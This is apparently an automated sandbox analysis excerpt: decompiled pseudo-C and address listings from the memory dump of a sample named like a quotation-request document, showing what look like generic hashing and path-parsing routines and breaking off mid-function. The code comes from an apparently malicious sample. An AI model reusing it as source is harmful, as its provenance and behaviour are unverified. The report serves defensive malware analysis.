0x00ad6760
0x00ad6760
0x00ad676d
0x00ad6771
0x00ad6771
0x00ad6774
0x00ad6774
0x00ad677e

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8504ffe5647d8249133bae5868c4b7ac6946532f80fecdc717d1877857fcc9d
Instruction ID: 0b2879a03da9e9e6926cb555598294d1be3fecf5a9262d99219a317555b88b05
Opcode Fuzzy Hash: f8504ffe5647d8249133bae5868c4b7ac6946532f80fecdc717d1877857fcc9d
Instruction Fuzzy Hash: 87227D75A042118FCB18CF19C590A6AB3E1FF99314F158A6EE897CB395DB30EC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AEE824, Relevance: .5, Instructions: 493
COMMONCrypto

Download Yara Rule

C-Code - Quality: 50%

			E00AEE824(signed int __ecx, signed int* __edx) {
				signed int _v8;
				signed char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				unsigned int _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t177;
				signed int _t179;
				unsigned int _t202;
				signed char _t207;
				signed char _t210;
				signed int _t230;
				void* _t244;
				unsigned int _t247;
				signed int _t288;
				signed int _t289;
				signed int _t291;
				signed char _t293;
				signed char _t295;
				signed char _t298;
				intOrPtr* _t303;
				signed int _t310;
				signed char _t316;
				signed int _t319;
				signed char _t323;
				signed char _t330;
				signed int _t334;
				signed int _t337;
				signed int _t341;
				signed char _t345;
				signed char _t347;
				signed int _t353;
				signed char _t354;
				void* _t383;
				signed char _t385;
				signed char _t386;
				unsigned int _t392;
				signed int _t393;
				signed int _t395;
				signed int _t398;
				signed int _t399;
				signed int _t401;
				unsigned int _t403;
				void* _t404;
				unsigned int _t405;
				signed int _t406;
				signed char _t412;
				unsigned int _t413;
				unsigned int _t418;
				void* _t419;
				void* _t420;
				void* _t421;
				void* _t422;
				void* _t423;
				signed char* _t425;
				signed int _t426;
				signed int _t428;
				unsigned int _t430;
				signed int _t431;
				signed int _t433;

				_v8 =  *0xb0d360 ^ _t433;
				_v40 = __ecx;
				_v16 = __edx;
				_t289 = 0x4cb2f;
				_t425 = __edx[1];
				_t403 =  *__edx << 2;
				if(_t403 < 8) {
					L3:
					_t404 = _t403 - 1;
					if(_t404 == 0) {
						L16:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						L17:
						_t426 = _v40;
						_v20 = _t426 + 0x1c;
						_t177 = L00A3FAD0(_t426 + 0x1c);
						_t385 = 0;
						while(1) {
							L18:
							_t405 =  *(_t426 + 4);
							_t179 = (_t177 | 0xffffffff) << (_t405 & 0x0000001f);
							_t316 = _t289 & _t179;
							_v24 = _t179;
							_v32 = _t316;
							_v12 = _t316 >> 0x18;
							_v36 = _t316 >> 0x10;
							_v28 = _t316 >> 8;
							if(_t385 != 0) {
								goto L21;
							}
							_t418 = _t405 >> 5;
							if(_t418 == 0) {
								_t406 = 0;
								L31:
								if(_t406 == 0) {
									L35:
									E00A3FA00(_t289, _t316, _t406, _t426 + 0x1c);
									 *0xb0b1e0(0xc +  *_v16 * 4,  *((intOrPtr*)(_t426 + 0x28)));
									_t319 =  *((intOrPtr*)( *((intOrPtr*)(_t426 + 0x20))))();
									_v36 = _t319;
									if(_t319 != 0) {
										asm("stosd");
										asm("stosd");
										asm("stosd");
										_t408 = _v16;
										 *(_t319 + 8) =  *(_t319 + 8) & 0xff000001 | 0x00000001;
										 *((char*)(_t319 + 0xb)) =  *_v16;
										 *(_t319 + 4) = _t289;
										_t53 = _t319 + 0xc; // 0xc
										E00A32280(E00A5F3E0(_t53,  *((intOrPtr*)(_v16 + 4)),  *_v16 << 2), _v20);
										_t428 = _v40;
										_t386 = 0;
										while(1) {
											L38:
											_t202 =  *(_t428 + 4);
											_v16 = _v16 | 0xffffffff;
											_v16 = _v16 << (_t202 & 0x0000001f);
											_t323 = _v16 & _t289;
											_v20 = _t323;
											_v20 = _v20 >> 0x18;
											_v28 = _t323;
											_v28 = _v28 >> 0x10;
											_v12 = _t323;
											_v12 = _v12 >> 8;
											_v32 = _t323;
											if(_t386 != 0) {
												goto L41;
											}
											_t247 = _t202 >> 5;
											_v24 = _t247;
											if(_t247 == 0) {
												_t412 = 0;
												L50:
												if(_t412 == 0) {
													L53:
													_t291 =  *(_t428 + 4);
													_v28 =  *((intOrPtr*)(_t428 + 0x28));
													_v44 =  *(_t428 + 0x24);
													_v32 =  *((intOrPtr*)(_t428 + 0x20));
													_t207 = _t291 >> 5;
													if( *_t428 < _t207 + _t207) {
														L74:
														_t430 = _t291 >> 5;
														_t293 = _v36;
														_t210 = (_t207 | 0xffffffff) << (_t291 & 0x0000001f) &  *(_t293 + 4);
														_v44 = _t210;
														_t159 = _t430 - 1; // 0xffffffdf
														_t428 = _v40;
														_t330 =  *(_t428 + 8);
														_t386 = _t159 & (_v44 >> 0x00000018) + ((_v44 >> 0x00000010 & 0x000000ff) + ((_t210 >> 0x00000008 & 0x000000ff) + ((_t210 & 0x000000ff) + L"") * 0x00000025) * 0x00000025) * 0x00000025;
														_t412 = _t293;
														 *_t293 =  *(_t330 + _t386 * 4);
														 *(_t330 + _t386 * 4) = _t293;
														 *_t428 =  *_t428 + 1;
														_t289 = 0;
														L75:
														L00A2FFB0(_t289, _t412, _t428 + 0x1c);
														if(_t289 != 0) {
															_t428 =  *(_t428 + 0x24);
															 *0xb0b1e0(_t289,  *((intOrPtr*)(_t428 + 0x28)));
															 *_t428();
														}
														L77:
														return L00A5B640(_t412, _t289, _v8 ^ _t433, _t386, _t412, _t428);
													}
													_t334 = 2;
													_t207 = E00A4F3D5( &_v24, _t207 * _t334, _t207 * _t334 >> 0x20);
													if(_t207 < 0) {
														goto L74;
													}
													_t413 = _v24;
													if(_t413 < 4) {
														_t413 = 4;
													}
													 *0xb0b1e0(_t413 << 2, _v28);
													_t207 =  *_v32();
													_t386 = _t207;
													_v16 = _t386;
													if(_t386 == 0) {
														_t291 =  *(_t428 + 4);
														if(_t291 >= 0x20) {
															goto L74;
														}
														_t289 = _v36;
														_t412 = 0;
														goto L75;
													} else {
														_t108 = _t413 - 1; // 0x3
														_t337 = _t108;
														if((_t413 & _t337) == 0) {
															L62:
															if(_t413 > 0x4000000) {
																_t413 = 0x4000000;
															}
															_t295 = _t386;
															_v24 = _v24 & 0x00000000;
															_t392 = _t413 << 2;
															_t230 = _t428 | 0x00000001;
															_t393 = _t392 >> 2;
															asm("sbb ecx, ecx");
															_t341 =  !(_v16 + _t392) & _t393;
															if(_t341 <= 0) {
																L67:
																_t395 = (_t393 | 0xffffffff) << ( *(_t428 + 4) & 0x0000001f);
																_v32 = _t395;
																_v20 = 0;
																if(( *(_t428 + 4) & 0xffffffe0) <= 0) {
																	L72:
																	_t345 =  *(_t428 + 8);
																	_t207 = _v16;
																	_t291 =  *(_t428 + 4) & 0x0000001f | _t413 << 0x00000005;
																	 *(_t428 + 8) = _t207;
																	 *(_t428 + 4) = _t291;
																	if(_t345 != 0) {
																		 *0xb0b1e0(_t345, _v28);
																		_t207 =  *_v44();
																		_t291 =  *(_t428 + 4);
																	}
																	goto L74;
																} else {
																	goto L68;
																}
																do {
																	L68:
																	_t298 =  *(_t428 + 8);
																	_t431 = _v20;
																	_v12 = _t298;
																	while(1) {
																		_t347 =  *(_t298 + _t431 * 4);
																		_v24 = _t347;
																		if((_t347 & 0x00000001) != 0) {
																			goto L71;
																		}
																		 *(_t298 + _t431 * 4) =  *_t347;
																		_t300 =  *(_t347 + 4) & _t395;
																		_t398 = _v16;
																		_t353 = _t413 - 0x00000001 & (( *(_t347 + 4) & _t395) >> 0x00000018) + ((( *(_t347 + 4) & _t395) >> 0x00000010 & 0x000000ff) + ((( *(_t347 + 4) & _t395) >> 0x00000008 & 0x000000ff) + ((_t300 & 0x000000ff) + L"") * 0x00000025) * 0x00000025) * 0x00000025;
																		_t303 = _v24;
																		 *_t303 =  *((intOrPtr*)(_t398 + _t353 * 4));
																		 *((intOrPtr*)(_t398 + _t353 * 4)) = _t303;
																		_t395 = _v32;
																		_t298 = _v12;
																	}
																	L71:
																	_v20 = _t431 + 1;
																	_t428 = _v40;
																} while (_v20 <  *(_t428 + 4) >> 5);
																goto L72;
															} else {
																_t399 = _v24;
																do {
																	_t399 = _t399 + 1;
																	 *_t295 = _t230;
																	_t295 = _t295 + 4;
																} while (_t399 < _t341);
																goto L67;
															}
														}
														_t354 = _t337 | 0xffffffff;
														if(_t413 == 0) {
															L61:
															_t413 = 1 << _t354;
															goto L62;
														} else {
															goto L60;
														}
														do {
															L60:
															_t354 = _t354 + 1;
															_t413 = _t413 >> 1;
														} while (_t413 != 0);
														goto L61;
													}
												}
												_t89 = _t412 + 8; // 0x8
												_t244 = L00AEE7A8(_t89);
												_t289 = _v36;
												if(_t244 == 0) {
													_t412 = 0;
												}
												goto L75;
											}
											_t386 =  *(_t428 + 8) + (_v24 - 0x00000001 & (_v20 & 0x000000ff) + 0x164b2f3f + (((_t323 & 0x000000ff) * 0x00000025 + (_v12 & 0x000000ff)) * 0x00000025 + (_v28 & 0x000000ff)) * 0x00000025) * 4;
											_t323 = _v32;
											while(1) {
												L41:
												_t386 =  *_t386;
												_v12 = _t386;
												if((_t386 & 0x00000001) != 0) {
													break;
												}
												if(_t323 == ( *(_t386 + 4) & _v16)) {
													L45:
													if(_t386 == 0) {
														goto L53;
													}
													if(L00AEE7EB(_t386, _t408) != 0) {
														_t412 = _v12;
														goto L50;
													}
													_t386 = _v12;
													goto L38;
												}
											}
											_t386 = 0;
											_v12 = 0;
											goto L45;
										}
									}
									_t412 = 0;
									goto L77;
								}
								_t38 = _t406 + 8; // 0x8
								_t364 = _t38;
								if(L00AEE7A8(_t38) == 0) {
									_t406 = 0;
								}
								E00A3FA00(_t289, _t364, _t406, _v20);
								goto L77;
							}
							_t24 = _t418 - 1; // -1
							_t385 =  *((intOrPtr*)(_t426 + 8)) + (_t24 & (_v12 & 0x000000ff) + 0x164b2f3f + (((_t316 & 0x000000ff) * 0x00000025 + (_v28 & 0x000000ff)) * 0x00000025 + (_v36 & 0x000000ff)) * 0x00000025) * 4;
							_t316 = _v32;
							L21:
							_t406 = _v24;
							while(1) {
								_t385 =  *_t385;
								_v12 = _t385;
								if((_t385 & 0x00000001) != 0) {
									break;
								}
								if(_t316 == ( *(_t385 + 4) & _t406)) {
									L26:
									if(_t385 == 0) {
										goto L35;
									}
									_t177 = L00AEE7EB(_t385, _v16);
									if(_t177 != 0) {
										_t406 = _v12;
										goto L31;
									}
									_t385 = _v12;
									goto L18;
								}
							}
							_t385 = 0;
							_v12 = 0;
							goto L26;
						}
					}
					_t419 = _t404 - 1;
					if(_t419 == 0) {
						L15:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L16;
					}
					_t420 = _t419 - 1;
					if(_t420 == 0) {
						L14:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L15;
					}
					_t421 = _t420 - 1;
					if(_t421 == 0) {
						L13:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L14;
					}
					_t422 = _t421 - 1;
					if(_t422 == 0) {
						L12:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L13;
					}
					_t423 = _t422 - 1;
					if(_t423 == 0) {
						L11:
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L12;
					}
					if(_t423 != 1) {
						goto L17;
					} else {
						_t289 = _t289 * 0x25 + ( *_t425 & 0x000000ff);
						_t425 =  &(_t425[1]);
						goto L11;
					}
				} else {
					_t401 = _t403 >> 3;
					_t403 = _t403 + _t401 * 0xfffffff8;
					do {
						_t383 = ((((((_t425[1] & 0x000000ff) * 0x25 + (_t425[2] & 0x000000ff)) * 0x25 + (_t425[3] & 0x000000ff)) * 0x25 + (_t425[4] & 0x000000ff)) * 0x25 + (_t425[5] & 0x000000ff)) * 0x25 + (_t425[6] & 0x000000ff)) * 0x25 - _t289 * 0x2fe8ed1f;
						_t310 = ( *_t425 & 0x000000ff) * 0x1a617d0d;
						_t288 = _t425[7] & 0x000000ff;
						_t425 =  &(_t425[8]);
						_t289 = _t310 + _t383 + _t288;
						_t401 = _t401 - 1;
					} while (_t401 != 0);
					goto L3;
				}
			}

0x00aee833
0x00aee839
0x00aee83e
0x00aee841
0x00aee848
0x00aee84b
0x00aee851
0x00aee8b2
0x00aee8b2
0x00aee8b5
0x00aee90b
0x00aee911
0x00aee913
0x00aee913
0x00aee91a
0x00aee91d
0x00aee922
0x00aee924
0x00aee924
0x00aee924
0x00aee92f
0x00aee933
0x00aee935
0x00aee93a
0x00aee940
0x00aee948
0x00aee950
0x00aee955
0x00000000
0x00000000
0x00aee957
0x00aee95c
0x00aee9cb
0x00aee9d2
0x00aee9d4
0x00aee9f2
0x00aee9f6
0x00aeea10
0x00aeea18
0x00aeea1a
0x00aeea1f
0x00aeea2c
0x00aeea2d
0x00aeea2e
0x00aeea32
0x00aeea3d
0x00aeea42
0x00aeea45
0x00aeea51
0x00aeea60
0x00aeea65
0x00aeea68
0x00aeea6a
0x00aeea6a
0x00aeea6a
0x00aeea6f
0x00aeea76
0x00aeea7c
0x00aeea7e
0x00aeea81
0x00aeea85
0x00aeea88
0x00aeea8c
0x00aeea8f
0x00aeea93
0x00aeea98
0x00000000
0x00000000
0x00aeea9a
0x00aeea9d
0x00aeeaa2
0x00aeeb0e
0x00aeeb15
0x00aeeb17
0x00aeeb33
0x00aeeb36
0x00aeeb39
0x00aeeb3f
0x00aeeb45
0x00aeeb4a
0x00aeeb52
0x00aeecb1
0x00aeecb9
0x00aeecbe
0x00aeecc3
0x00aeecc6
0x00aeeceb
0x00aeecee
0x00aeecf9
0x00aeecfe
0x00aeed00
0x00aeed05
0x00aeed07
0x00aeed0a
0x00aeed0c
0x00aeed0e
0x00aeed12
0x00aeed19
0x00aeed1e
0x00aeed24
0x00aeed2a
0x00aeed2a
0x00aeed2c
0x00aeed3e
0x00aeed3e
0x00aeeb5a
0x00aeeb62
0x00aeeb69
0x00000000
0x00000000
0x00aeeb6f
0x00aeeb75
0x00aeeb79
0x00aeeb79
0x00aeeb88
0x00aeeb8e
0x00aeeb90
0x00aeeb92
0x00aeeb97
0x00aeed3f
0x00aeed45
0x00000000
0x00000000
0x00aeed4b
0x00aeed4e
0x00000000
0x00aeeb9d
0x00aeeb9d
0x00aeeb9d
0x00aeeba2
0x00aeebb5
0x00aeebbc
0x00aeebbe
0x00aeebbe
0x00aeebc3
0x00aeebc5
0x00aeebcb
0x00aeebd2
0x00aeebd5
0x00aeebdb
0x00aeebdf
0x00aeebe1
0x00aeebf0
0x00aeebf9
0x00aeec04
0x00aeec07
0x00aeec0a
0x00aeec82
0x00aeec85
0x00aeec8b
0x00aeec91
0x00aeec93
0x00aeec96
0x00aeec9b
0x00aeeca6
0x00aeecac
0x00aeecae
0x00aeecae
0x00000000
0x00000000
0x00000000
0x00000000
0x00aeec0c
0x00aeec0c
0x00aeec0c
0x00aeec0f
0x00aeec12
0x00aeec15
0x00aeec15
0x00aeec18
0x00aeec1e
0x00000000
0x00000000
0x00aeec22
0x00aeec28
0x00aeec4b
0x00aeec5b
0x00aeec5d
0x00aeec63
0x00aeec65
0x00aeec68
0x00aeec6b
0x00aeec6b
0x00aeec70
0x00aeec71
0x00aeec74
0x00aeec7d
0x00000000
0x00aeebe3
0x00aeebe3
0x00aeebe6
0x00aeebe6
0x00aeebe7
0x00aeebe9
0x00aeebec
0x00000000
0x00aeebe6
0x00aeebe1
0x00aeeba4
0x00aeeba9
0x00aeebb0
0x00aeebb3
0x00000000
0x00000000
0x00000000
0x00000000
0x00aeebab
0x00aeebab
0x00aeebab
0x00aeebac
0x00aeebac
0x00000000
0x00aeebab
0x00aeeb97
0x00aeeb19
0x00aeeb1c
0x00aeeb21
0x00aeeb26
0x00aeeb2c
0x00aeeb2c
0x00000000
0x00aeeb26
0x00aeead6
0x00aeead9
0x00aeeadc
0x00aeeadc
0x00aeeadc
0x00aeeade
0x00aeeae4
0x00000000
0x00000000
0x00aeeaee
0x00aeeaf7
0x00aeeaf9
0x00000000
0x00000000
0x00aeeb04
0x00aeeb12
0x00000000
0x00aeeb12
0x00aeeb06
0x00000000
0x00aeeb06
0x00aeeaf0
0x00aeeaf2
0x00aeeaf4
0x00000000
0x00aeeaf4
0x00aeea6a
0x00aeea21
0x00000000
0x00aeea21
0x00aee9d6
0x00aee9d6
0x00aee9e0
0x00aee9e2
0x00aee9e2
0x00aee9e8
0x00000000
0x00aee9e8
0x00aee987
0x00aee98f
0x00aee992
0x00aee995
0x00aee995
0x00aee998
0x00aee998
0x00aee99a
0x00aee9a0
0x00000000
0x00000000
0x00aee9a9
0x00aee9b2
0x00aee9b4
0x00000000
0x00000000
0x00aee9ba
0x00aee9c1
0x00aee9cf
0x00000000
0x00aee9cf
0x00aee9c3
0x00000000
0x00aee9c3
0x00aee9ab
0x00aee9ad
0x00aee9af
0x00000000
0x00aee9af
0x00aee924
0x00aee8b7
0x00aee8ba
0x00aee902
0x00aee908
0x00aee90a
0x00000000
0x00aee90a
0x00aee8bc
0x00aee8bf
0x00aee8f9
0x00aee8ff
0x00aee901
0x00000000
0x00aee901
0x00aee8c1
0x00aee8c4
0x00aee8f0
0x00aee8f6
0x00aee8f8
0x00000000
0x00aee8f8
0x00aee8c6
0x00aee8c9
0x00aee8e7
0x00aee8ed
0x00aee8ef
0x00000000
0x00aee8ef
0x00aee8cb
0x00aee8ce
0x00aee8de
0x00aee8e4
0x00aee8e6
0x00000000
0x00aee8e6
0x00aee8d3
0x00000000
0x00aee8d5
0x00aee8db
0x00aee8dd
0x00000000
0x00aee8dd
0x00aee853
0x00aee855
0x00aee85b
0x00aee85d
0x00aee897
0x00aee89c
0x00aee8a2
0x00aee8a6
0x00aee8ab
0x00aee8ad
0x00aee8ad
0x00000000
0x00aee85d

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dfa9dfdc94ee6a6b004a0019bce08f3562b56ee8411a8dc7420f3c2c25b5007
Instruction ID: e5efd2b3ea119fb4f6793c203fd05dda4e4107a5496a1b3d9bc47058ba9ec1e7
Opcode Fuzzy Hash: 1dfa9dfdc94ee6a6b004a0019bce08f3562b56ee8411a8dc7420f3c2c25b5007
Instruction Fuzzy Hash: D302AF72E006558FCB18CFAAC99167EFBF6AF88300B29856DD456EB391D734E901CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00A34120, Relevance: .4, Instructions: 444
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00A34120(signed char __ecx, signed short* __edx, signed short* _a4, signed int _a8, signed short* _a12, signed short* _a16, signed short _a20) {
				signed int _v8;
				void* _v20;
				signed int _v24;
				char _v532;
				char _v540;
				signed short _v544;
				signed int _v548;
				signed short* _v552;
				signed short _v556;
				signed short* _v560;
				signed short* _v564;
				signed short* _v568;
				void* _v570;
				signed short* _v572;
				signed short _v576;
				signed int _v580;
				char _v581;
				void* _v584;
				unsigned int _v588;
				signed short* _v592;
				void* _v597;
				void* _v600;
				void* _v604;
				void* _v609;
				void* _v616;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t161;
				signed int _t162;
				unsigned int _t163;
				void* _t169;
				signed short _t173;
				signed short _t177;
				signed short _t181;
				unsigned int _t182;
				signed int _t185;
				signed int _t213;
				signed int _t225;
				short _t233;
				signed char _t234;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t250;
				void* _t251;
				signed short* _t254;
				void* _t255;
				signed int _t256;
				void* _t257;
				signed short* _t260;
				signed short _t265;
				signed short* _t269;
				signed short _t271;
				signed short** _t272;
				signed short* _t275;
				signed short _t282;
				signed short _t283;
				signed short _t290;
				signed short _t299;
				signed short _t307;
				signed int _t308;
				signed short _t311;
				signed short* _t315;
				signed short _t316;
				void* _t317;
				void* _t319;
				signed short* _t321;
				void* _t322;
				void* _t323;
				unsigned int _t324;
				signed int _t325;
				void* _t326;
				signed int _t327;
				signed int _t329;

				_t329 = (_t327 & 0xfffffff8) - 0x24c;
				_v8 =  *0xb0d360 ^ _t329;
				_t157 = _a8;
				_t321 = _a4;
				_t315 = __edx;
				_v548 = __ecx;
				_t305 = _a20;
				_v560 = _a12;
				_t260 = _a16;
				_v564 = __edx;
				_v580 = _a8;
				_v572 = _t260;
				_v544 = _a20;
				if( *__edx <= 8) {
					L3:
					if(_t260 != 0) {
						 *_t260 = 0;
					}
					_t254 =  &_v532;
					_v588 = 0x208;
					if((_v548 & 0x00000001) != 0) {
						_v556 =  *_t315;
						_v552 = _t315[2];
						_t161 = E00A4F232( &_v556);
						_t316 = _v556;
						_v540 = _t161;
						goto L17;
					} else {
						_t306 = 0x208;
						_t298 = _t315;
						_t316 = L00A36E30(_t315, 0x208, _t254, _t260,  &_v581,  &_v540);
						if(_t316 == 0) {
							L68:
							_t322 = 0xc0000033;
							goto L39;
						} else {
							while(_v581 == 0) {
								_t233 = _v588;
								if(_t316 > _t233) {
									_t234 = _v548;
									if((_t234 & 0x00000004) != 0 || (_t234 & 0x00000008) == 0 &&  *((char*)( *[fs:0x30] + 3)) < 0) {
										_t254 = L00A34620(_t298,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t316);
										if(_t254 == 0) {
											_t169 = 0xc0000017;
										} else {
											_t298 = _v564;
											_v588 = _t316;
											_t306 = _t316;
											_t316 = L00A36E30(_v564, _t316, _t254, _v572,  &_v581,  &_v540);
											if(_t316 != 0) {
												continue;
											} else {
												goto L68;
											}
										}
									} else {
										goto L90;
									}
								} else {
									_v556 = _t316;
									 *((short*)(_t329 + 0x32)) = _t233;
									_v552 = _t254;
									if(_t316 < 2) {
										L11:
										if(_t316 < 4 ||  *_t254 == 0 || _t254[1] != 0x3a) {
											_t161 = 5;
										} else {
											if(_t316 < 6) {
												L87:
												_t161 = 3;
											} else {
												_t242 = _t254[2] & 0x0000ffff;
												if(_t242 != 0x5c) {
													if(_t242 == 0x2f) {
														goto L16;
													} else {
														goto L87;
													}
													goto L101;
												} else {
													L16:
													_t161 = 2;
												}
											}
										}
									} else {
										_t243 =  *_t254 & 0x0000ffff;
										if(_t243 == 0x5c || _t243 == 0x2f) {
											if(_t316 < 4) {
												L81:
												_t161 = 4;
												goto L17;
											} else {
												_t244 = _t254[1] & 0x0000ffff;
												if(_t244 != 0x5c) {
													if(_t244 == 0x2f) {
														goto L60;
													} else {
														goto L81;
													}
												} else {
													L60:
													if(_t316 < 6) {
														L83:
														_t161 = 1;
														goto L17;
													} else {
														_t245 = _t254[2] & 0x0000ffff;
														if(_t245 != 0x2e) {
															if(_t245 == 0x3f) {
																goto L62;
															} else {
																goto L83;
															}
														} else {
															L62:
															if(_t316 < 8) {
																L85:
																_t161 = ((0 | _t316 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
																goto L17;
															} else {
																_t250 = _t254[3] & 0x0000ffff;
																if(_t250 != 0x5c) {
																	if(_t250 == 0x2f) {
																		goto L64;
																	} else {
																		goto L85;
																	}
																} else {
																	L64:
																	_t161 = 6;
																	goto L17;
																}
															}
														}
													}
												}
											}
											goto L101;
										} else {
											goto L11;
										}
									}
									L17:
									if(_t161 != 2) {
										_t162 = _t161 - 1;
										if(_t162 > 5) {
											goto L18;
										} else {
											switch( *((intOrPtr*)(_t162 * 4 +  &M00A345F8))) {
												case 0:
													_v568 = 0x9f1078;
													__eax = 2;
													goto L20;
												case 1:
													goto L18;
												case 2:
													_t163 = 4;
													goto L19;
											}
										}
										goto L41;
									} else {
										L18:
										_t163 = 0;
										L19:
										_v568 = 0x9f11c4;
									}
									L20:
									_v588 = _t163;
									_v564 = _t163 + _t163;
									_t306 =  *_v568 & 0x0000ffff;
									_t265 = _t306 - _v564 + 2 + (_t316 & 0x0000ffff);
									_v576 = _t265;
									if(_t265 > 0xfffe) {
										L90:
										_t322 = 0xc0000106;
									} else {
										if(_t321 != 0) {
											if(_t265 > (_t321[1] & 0x0000ffff)) {
												if(_v580 != 0) {
													goto L23;
												} else {
													_t322 = 0xc0000106;
													goto L39;
												}
											} else {
												_t177 = _t306;
												goto L25;
											}
											goto L101;
										} else {
											if(_v580 == _t321) {
												_t322 = 0xc000000d;
											} else {
												L23:
												_t173 = L00A34620(_t265,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t265);
												_t269 = _v592;
												_t269[2] = _t173;
												if(_t173 == 0) {
													_t322 = 0xc0000017;
												} else {
													_t316 = _v556;
													 *_t269 = 0;
													_t321 = _t269;
													_t269[1] = _v576;
													_t177 =  *_v568 & 0x0000ffff;
													L25:
													_v580 = _t177;
													if(_t177 == 0) {
														L29:
														_t307 =  *_t321 & 0x0000ffff;
													} else {
														_t290 =  *_t321 & 0x0000ffff;
														_v576 = _t290;
														_t310 = _t177 & 0x0000ffff;
														if((_t290 & 0x0000ffff) + (_t177 & 0x0000ffff) > (_t321[1] & 0x0000ffff)) {
															_t307 =  *_t321 & 0xffff;
														} else {
															_v576 = _t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2;
															L00A5F720(_t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2, _v568[2], _t310);
															_t329 = _t329 + 0xc;
															_t311 = _v580;
															_t225 =  *_t321 + _t311 & 0x0000ffff;
															 *_t321 = _t225;
															if(_t225 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v576 + ((_t311 & 0x0000ffff) >> 1) * 2)) = 0;
															}
															goto L29;
														}
													}
													_t271 = _v556 - _v588 + _v588;
													_v580 = _t307;
													_v576 = _t271;
													if(_t271 != 0) {
														_t308 = _t271 & 0x0000ffff;
														_v588 = _t308;
														if(_t308 + (_t307 & 0x0000ffff) <= (_t321[1] & 0x0000ffff)) {
															_v580 = _t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2;
															L00A5F720(_t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2, _v552 + _v564, _t308);
															_t329 = _t329 + 0xc;
															_t213 =  *_t321 + _v576 & 0x0000ffff;
															 *_t321 = _t213;
															if(_t213 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v580 + (_v588 >> 1) * 2)) = 0;
															}
														}
													}
													_t272 = _v560;
													if(_t272 != 0) {
														 *_t272 = _t321;
													}
													_t306 = 0;
													 *((short*)(_t321[2] + (( *_t321 & 0x0000ffff) >> 1) * 2)) = 0;
													_t275 = _v572;
													if(_t275 != 0) {
														_t306 =  *_t275;
														if(_t306 != 0) {
															 *_t275 = ( *_v568 & 0x0000ffff) - _v564 - _t254 + _t306 + _t321[2];
														}
													}
													_t181 = _v544;
													if(_t181 != 0) {
														 *_t181 = 0;
														 *((intOrPtr*)(_t181 + 4)) = 0;
														 *((intOrPtr*)(_t181 + 8)) = 0;
														 *((intOrPtr*)(_t181 + 0xc)) = 0;
														if(_v540 == 5) {
															_t182 = E00A152A5(1);
															_v588 = _t182;
															if(_t182 == 0) {
																E00A2EB70(1, 0xb079a0);
																goto L38;
															} else {
																_v560 = _t182 + 0xc;
																_t185 = E00A2AA20( &_v556, _t182 + 0xc,  &_v556, 1);
																if(_t185 == 0) {
																	_t324 = _v588;
																	goto L97;
																} else {
																	_t306 = _v544;
																	_t282 = ( *_v560 & 0x0000ffff) - _v564 + ( *_v568 & 0x0000ffff) + _t321[2];
																	 *(_t306 + 4) = _t282;
																	_v576 = _t282;
																	_t325 = _t316 -  *_v560 & 0x0000ffff;
																	 *_t306 = _t325;
																	if( *_t282 == 0x5c) {
																		_t149 = _t325 - 2; // -2
																		_t283 = _t149;
																		 *_t306 = _t283;
																		 *(_t306 + 4) = _v576 + 2;
																		_t185 = _t283 & 0x0000ffff;
																	}
																	_t324 = _v588;
																	 *(_t306 + 2) = _t185;
																	if((_v548 & 0x00000002) == 0) {
																		L97:
																		asm("lock xadd [esi], eax");
																		if((_t185 | 0xffffffff) == 0) {
																			_push( *((intOrPtr*)(_t324 + 4)));
																			E00A595D0();
																			L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t324);
																		}
																	} else {
																		 *(_t306 + 0xc) = _t324;
																		 *((intOrPtr*)(_t306 + 8)) =  *((intOrPtr*)(_t324 + 4));
																	}
																	goto L38;
																}
															}
															goto L41;
														}
													}
													L38:
													_t322 = 0;
												}
											}
										}
									}
									L39:
									if(_t254 !=  &_v532) {
										L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t254);
									}
									_t169 = _t322;
								}
								goto L41;
							}
							goto L68;
						}
					}
					L41:
					_pop(_t317);
					_pop(_t323);
					_pop(_t255);
					return L00A5B640(_t169, _t255, _v8 ^ _t329, _t306, _t317, _t323);
				} else {
					_t299 = __edx[2];
					if( *_t299 == 0x5c) {
						_t256 =  *(_t299 + 2) & 0x0000ffff;
						if(_t256 != 0x5c) {
							if(_t256 != 0x3f) {
								goto L2;
							} else {
								goto L50;
							}
						} else {
							L50:
